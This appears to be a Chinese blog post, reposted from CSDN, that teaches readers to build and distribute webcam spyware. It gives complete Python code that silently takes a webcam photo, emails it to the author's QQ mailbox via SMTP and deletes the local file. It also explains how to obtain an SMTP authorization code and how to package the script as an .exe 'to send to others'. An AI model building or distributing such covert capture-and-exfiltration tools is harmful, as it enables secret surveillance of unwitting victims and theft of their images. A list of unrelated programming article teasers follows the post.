python 窃取摄像头照片的实现示例
作者:Meteoryh1111 发布时间:2021-12-27 19:16:11
标签:python,窃取摄像头
python窃取摄像头照片源码+获取授权码方法+py打包成exe
教你用python做一个属于自己的窃取摄像头照片的软件。
需要安装python3.5以上版本,在官网下载即可。
然后安装库opencv-python,安装方式为打开终端输入命令行。
可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple,这样就会从清华这边的镜像去安装需要的库,会快很多。
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/
具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把.py打包成.exe,这样就可以发给别人用啦。
import os # 删除图片文件
import cv2 # 调用摄像头拍摄照片
from smtplib import SMTP_SSL # SSL加密的 传输协议
from email.mime.text import MIMEText # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header # 发送内容
# 调用摄像头拍摄照片
def get_photo():
cap = cv2.VideoCapture(0) # 开启摄像头
f, frame = cap.read() # 将摄像头中的一帧图片数据保存
cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件
cap.release() # 关闭摄像头
# 把图片文件发送到我的邮箱
def send_message():
# 选择QQ邮箱发送照片
host_server = 'smtp.qq.com' # QQ邮箱smtp服务器
pwd = '****************' # 授权码
from_qq_mail = 'QQ@qq.com' # 发件人
to_qq_mail = 'QQ@qq.com' # 收件人
msg = MIMEMultipart() # 创建一封带附件的邮件
msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题
msg['From'] = from_qq_mail # 发件人
msg['To'] = Header("YH", 'UTF-8') # 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息
# 加载附件到邮箱中 SSL 方式 加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据
msg.attach(image) # 附件添加
# 开始发送邮件
smtp = SMTP_SSL(host_server) # 链接服务器
smtp .login(from_qq_mail, pwd) # 登录邮箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱
smtp.quit() # 退出
if __name__ == '__main__':
get_photo() # 开启摄像头获取照片
send_message() # 发送照片
os.remove('image.jpg') # 删除本地照片
获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保,即可获取到16位授权码。
打包方法:
1.先安装pyinstaller,在终端中输入pip install pyinstaller即可。
2.找路径,用cd法找路径比较麻烦,这里推荐一种简便的方法,直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。
打包,输入命令行
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件。
在dist文件夹里面即可找到可执行文件。
最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。
来源:https://blog.csdn.net/qq_50216270/article/details/112253895


猜你喜欢
- 矛盾出来了,像我们这些小作坊,基本都是设计布局一人搞定。甚至还有加后台程序的。假设设计的时候考虑布局了,我们都有这个能力进行调整。但像大公司
- 在实际开发过程中,对数据库的操作无非就“增删改查”。就最为普遍的单表操作而言,除了表和字段不同外,语句都是类似的,开发人员需要写大量类似而枯
- 1. 判断表单元素是否存在(一) if("periodPerMonth" in document.theForm) {
- 首先说下Golang中的结构体,结构体是由一系列具有相同类型或不同类型的数据构成的数据集合,Golang中使用关键字struct来创建一个结
- 导入相关的包import pygame, sys, randomfrom pygame.locals import *设置屏幕大小以及基本参
- 一、装饰器decorator decorator设计模式允许动态地对现有的对象或函数包装以至于修改现有的职责和行为,简单地讲用来动态地扩展现
- 有时候,依赖 vue 响应方式来更新数据是不够的,相反,我们需要手动重新渲染组件来更新数据。或者,我们可能只想抛开当前的
- vue 中的 $slot以前一直不知到这个东西,后来发现 vue api 中 藏着很多的 很神奇的 api,比如这个具名插槽很好理解,但是那
- 通过一条命令用Npm安装gulp-htmlmin:npm install gulp-htmlmin --save-dev安装完毕后,打开gu
- 看看这个logo,有些像python的小蛇吧 。这次介绍的数据库codernityDB是纯python开发的。先前用了下tinyDB这个本地
- 目录1. 解题思路2. 具体解析实现3. 单元测试用例:有一段sql语句,我们需要从中截取出所有字段部分,以便进行后续的类型推断或者别名字段
- 今天要说的是一个高速视频流的采集和传输的问题,我不是研究这一块的,没有使用什么算法,仅仅是兴趣导致我很想搞懂这个问题.  
- 在运营或者对各种 SDK 或者 API 进行调试的时候,邮件功能基本上都会被使用到。在测试的时候,可能很多人都会使用 SMTP 或者自己的邮
- 首先要下载:Graphviz - Graph Visualization Software安装完成后将安装目录的bin 路径加到系统路径中,
- Js代码:/*** 验证码*/function yzm(){var codeChars = new Array(0, 1, 2, 3, 4,
- 一、List移除某个值remove以Python 3.x版本为主remove:列表值移除方法1、函数编号函数名说明1remove移除列表中匹
- 在web开发中经常遇到多关键词对对单个字段查询,我一般是通过动态数组来实现的。当然多个关键词的一般是用空格或,隔开,我这几假设多个关键词用空
- 除了传递给日志记录函数的参数(如msg)外,有时候我们还想在日志输出中包含一些额外的上下文信息。比如,在一个网络应用中,可能希望在日志中记录
- 本文较为详细的罗列了Python常见的异常处理,供大家参考,具体如下:1. 抛出异常和自定义异常Python用异常对象(exception
- 在本地安装mysql的服务端,打开cmd,cd到mysql安装目录下的bin目录,bin目录中可以看到多个可执行文件,其中mysqladmi